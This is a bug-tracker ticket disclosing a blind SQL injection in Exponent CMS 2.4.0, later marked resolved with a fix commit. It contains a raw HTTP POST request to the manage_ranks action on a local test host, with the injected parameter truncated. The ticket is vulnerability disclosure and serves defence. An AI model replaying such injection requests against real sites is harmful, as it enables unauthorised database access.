#1395 Blind SQL Injection Vulnerability in Exponent CMS 2.4.0 （5) - Exponent CMS

Type	To find
responsible:me	tickets assigned to you
tagged:"@high"	tickets tagged @high
milestone:next	tickets in the upcoming milestone
state:invalid	tickets with the state invalid
created:"last week"	tickets created last week
sort:number, importance, updated	tickets sorted by #, importance or updated
Combine keywords for powerful searching.
Use advanced searching »

#1395 ✓resolved

Blind SQL Injection Vulnerability in Exponent CMS 2.4.0 （5)

Reported by Nicky | 2016-11-06 07:46:39 UTC | in 2.4.1 (closed)

POST /exponent/ HTTP/1.1
Content-Length: 251
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://192.168.118.1:80/exponent/
Cookie: PHPSESSID=f7859e8215b717f81b7dbd2e2c1a2caa; adminer_key=cdeaea5d52a8f402a28bd04980a7851b
Host: 192.168.118.1
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: /

action=manage_ranks&controller=container&lastpage=http://192.168.118.1/exponent/&model=container&rerank%5b%5d...

Comments and changes to this ticket

expNinja 2016-11-06 10:53:30 UTC
- State changed from “new” to “resolved”
(from [fffb2038de4c603931b785a4c3ec69cfd06181ba]) fix sql injection security vulnerability; reported by Nicky [#1394 state:resolved] [#1395 state:resolved] https://github.com/exponentcms/exponent-cms/commit/fffb2038de4c6039...

Please Sign in or create a free account to add a new ticket.

With your very own profile, you can contribute to projects, track your activity, watch tickets, receive and update tickets through your email and much more.